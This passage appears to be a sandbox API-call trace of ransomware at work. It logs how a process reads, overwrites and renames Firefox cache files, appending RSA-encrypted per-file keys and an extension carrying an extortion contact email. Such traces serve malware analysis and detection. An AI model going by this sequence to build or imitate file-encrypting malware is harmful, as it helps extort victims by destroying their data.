pszString="P0T2ytQ3hfgVxpFa2IA64Ydz53Y0/UNaxtXSAbtdourgg+O+fOuGlyTsGNzdEGrd\np7ID7H16cJQ0MXAz2gb1YobCe9tg5HrTPLY9jDQ10hT8repxw0rZ2JtsfBwE/pGz\nS0gkxrxR/FINdQ41yunxwwne/INm5kIIaennTEYsMjd+hRdc0rnHfhyydgPWpv0Q\nhqIg5PIGlqAxrOJU/FV5uJPrpJMSvi+T9BFFAk8Y5hCxzcYB1K3bvbwyB1JQqG5t\nRUmp2ggCyVncOB788o9cYOPZT9J34iRbPEriRthUmb6maGOEKTKuAXkGdWg/V/j9\nfY8n/eZOEj6VzPJ8I34XMw==\n", pcchString=0x2e3f9a8) returned 1 [0258.905] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.905] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.905] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.905] CloseHandle (hObject=0x1b84) returned 1 [0258.905] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A452E838FF9E4634826BE621406D0A260DAB4FD8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a452e838ff9e4634826be621406d0a260dab4fd8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A452E838FF9E4634826BE621406D0A260DAB4FD8.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a452e838ff9e4634826be621406d0a260dab4fd8.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.907] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.907] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2BB4715DE93DAD8B3AF00CF547D18B9CF8F84A1", dwFileAttributes=0x80) returned 1 [0258.908] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x17ff, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x17ff, lpOverlapped=0x0) returned 1 [0258.909] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6143, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.909] WriteFile (in: hFile=0x1b84, lpBuffer=0x3443040*, nNumberOfBytesToWrite=0x17ff, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3443040*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17ff, lpOverlapped=0x0) returned 1 [0258.909] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17ff [0258.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.909] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.910] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.910] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.910] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.910] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nsRIF8Y8flA2c1tS2kfH+XKLDp/6hnk8pCyC9OAes57ifPsdbM3E8wo7AQGGqIcV\ndFX0DYCgBHT8TK+tZDUsOQGuZNV+6I4ZemaV4lIkgBkHsJn3q05CBoOrRlfM8lxf\n4hNcD50FK1ylOmlD48m4SEzaY+xkTuX0nhedl4l5Lx58I9aXdwiweeubrQN3uPlP\n3rqChbheUhc0zmoBkifyTRYpxUOmx7Yl2b7KD88YsH5Tl3SbkGNXmYASS7AR4mEk\n+VVAO8mw0eOhyLaWWCZfGcaF+3X7KV4hm27KP/ajTzva0efn9V2Ret2iX65HSKrR\niSsBLecNBSVxhJ0kdwkREA==\n", pcchString=0x2e3f9a8) returned 1 [0258.910] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.910] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.910] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.911] CloseHandle (hObject=0x1b84) returned 1 [0258.911] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2BB4715DE93DAD8B3AF00CF547D18B9CF8F84A1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2bb4715de93dad8b3af00cf547d18b9cf8f84a1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2BB4715DE93DAD8B3AF00CF547D18B9CF8F84A1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2bb4715de93dad8b3af00cf547d18b9cf8f84a1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.913] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.913] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2B74048371354B1F26B148601F36159D0427691", dwFileAttributes=0x80) returned 1 [0258.913] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x14c05, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c05, lpOverlapped=0x0) returned 1 [0258.938] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-84997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.938] WriteFile (in: hFile=0x1b84, lpBuffer=0x345ac58*, nNumberOfBytesToWrite=0x14c05, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x345ac58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c05, lpOverlapped=0x0) returned 1 [0258.939] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14c05 [0258.939] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.940] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Eo3NX4jjlPDsB715XjCrAZnRG2wCiGHfUVQ3NBqasKSgFq45yhv4OVJv5kJDEs1B\nOF94BkYGC5QYbEirKAvQh2G81PcPi66ncWZncaQm6suXzBYKbxINdCiteSbh4uVL\n7hgjPn8uogRiqV8iCFSlmjr92RRnGwLCDCbeJNwzCybv7xxRyG6l9SEXZHE1kEbW\nz/BqC9kSp9rTgcHAbMQX9M6LslPEqX73Z18DYg5ocIMhVUbpbtUvSZTPnao2krXm\nn8SzxIe6Knaq9cdaVx/87D/9+Cp32gs/gIslu+/f4F7pO0gtrnZElHw8vqG9RtlB\nXDmtt5icPK7AH6FMPbZzoQ==\n", pcchString=0x2e3f9a8) returned 1 [0258.941] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.941] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.942] CloseHandle (hObject=0x1b84) returned 1 [0258.942] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2B74048371354B1F26B148601F36159D0427691" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2b74048371354b1f26b148601f36159d0427691"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2B74048371354B1F26B148601F36159D0427691.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2b74048371354b1f26b148601f36159d0427691.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.944] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.944] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A04F210A1A29231E7F5F9D126F593C98B83569AE", dwFileAttributes=0x80) returned 1 [0258.945] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x6fd6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x6fd6, lpOverlapped=0x0) returned 1 [0258.955] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-28630, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.955] WriteFile (in: hFile=0x1b84, lpBuffer=0x344d028*, nNumberOfBytesToWrite=0x6fd6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344d028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6fd6, lpOverlapped=0x0) returned 1 [0258.956] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6fd6 [0258.956] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.956] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.957] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.957] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.957] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.957] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cg3m7seKe5OQ0sBaeNm/9EvRAjZqVRTQcf9EhhgS8cm7prZY3ORFbbyDTaALnMM1\nX7RxCEypPD5sh77q1Y9YzRHY/NmaOdR8FhsRx15m7EC0H0XQDd9Rk6x8OaZ+A6oD\nlProeSz5rCbgN9XhuWBCdLndsWs02tf/yRp3Y8XsekFRjJOdVQZluVCOox79uU6G\nit1l/AnB/aqlsxzCpZZ6LM5OcBoYoFYNOfrbJNR0SY9/WXIskdGqNjj5yS+jbJIV\nt2PQRLvZsfSFr2L4OMcKj+e1Ti1t89wLDSMFoQ9cf+bMoqm+yMWsxsfBZjIzxqAC\nDX47Jc2Pmx1gSxs477BMkQ==\n", pcchString=0x2e3f9a8) returned 1 [0258.957] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.957] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.957] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.958] CloseHandle (hObject=0x1b84) returned 1 [0258.958] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A04F210A1A29231E7F5F9D126F593C98B83569AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a04f210a1a29231e7f5f9d126f593c98b83569ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A04F210A1A29231E7F5F9D126F593C98B83569AE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a04f210a1a29231e7f5f9d126f593c98b83569ae.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.960] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.960] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F234958FDA7FDE5333B277372FF67E9AAE43DB6", dwFileAttributes=0x80) returned 1 [0258.961] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x461, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x461, lpOverlapped=0x0) returned 1 [0258.970] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.970] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x461, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x461, lpOverlapped=0x0) returned 1 [0258.971] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x461 [0258.971] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.971] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.971] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.971] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ad+WeqxQ6D3IavZm47vYFU+6Q4a7vOrD/+/WKH5HZfbHAqcVPsSRXoK1yWL0L/vj\n/Oc60QDfc/74aY8Csu/xPbrmSjMylyOIhHH12ggbgR3YevLLgMg3wigXrFQPwbyi\n7FfyuSAKEdRYfnjHyn4JXKV6n4aaPSOKivD8tTN/xqpbrjZmQ0kwTPOI6LnJVezL\n+ZvKTW8hMzWX4M1cpAqVxbKNA6bOTX8NrluB42Rcy87mZunndK1jLjpamD7O550e\nfYToULcPfMWBpaKiN89blrGvF43Sg/IqJf7MlSpWavp+MVRicgGeA11v/MT+RC8J\njCgbmYt/piPF058h/7fjJA==\n", pcchString=0x2e3f9a8) returned 1 [0258.972] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.972] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.972] CloseHandle (hObject=0x1b84) returned 1 [0258.972] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F234958FDA7FDE5333B277372FF67E9AAE43DB6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9f234958fda7fde5333b277372ff67e9aae43db6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F234958FDA7FDE5333B277372FF67E9AAE43DB6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9f234958fda7fde5333b277372ff67e9aae43db6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.974] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.974] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F112B9735545855C3F827C47780C60BEE456994", dwFileAttributes=0x80) returned 1 [0258.975] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0258.976] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.976] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0258.977] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0258.977] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.977] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.977] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.977] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.977] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.977] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xDf1Yg6YyMbJd9v0o2yoTHcCmEFYtmmrCqAIFJofjyN9GxhPcljImTWg0wzQOBS0\n2NyQ1Rdj+5atIO9xS09hLP1oDOTo8H7VQwDLnPxTIeXiP9GwydhANq/YanqY8EH6\nh1j56JYak9N0PQdrbwLGkYUmtDrhMuJgMpSRhyMte9XUB7PdwBtmX6b//pOG3wmY\naLQNrmV/1sM3aO4ZcEofX69U+OqOXQCiwTXdw+BMQ1HSFuyK6cDujz7A0SV9cfRk\nRqAi58WPiHXCMM/1xLDpTt2LvvZn84u5JYwFELj6hUzcoBU0Jvt9Ffkpxm43O7ln\nW9F75wFLzYgieTPS2wyHhw==\n", pcchString=0x2e3f9a8) returned 1 [0258.978] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.978] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.978] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.978] CloseHandle (hObject=0x1b84) returned 1 [0258.978] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F112B9735545855C3F827C47780C60BEE456994" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9f112b9735545855c3f827c47780c60bee456994"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9F112B9735545855C3F827C47780C60BEE456994.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9f112b9735545855c3f827c47780c60bee456994.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.994] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.994] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9EABD98B2F7F56D2095F76B6D0643E805CE79C6C", dwFileAttributes=0x80) returned 1 [0258.995] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xcf3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xcf3, lpOverlapped=0x0) returned 1 [0259.070] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3315, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.070] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442538*, nNumberOfBytesToWrite=0xcf3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442538*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcf3, lpOverlapped=0x0) returned 1 [0259.070] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcf3 [0259.071] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.071] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 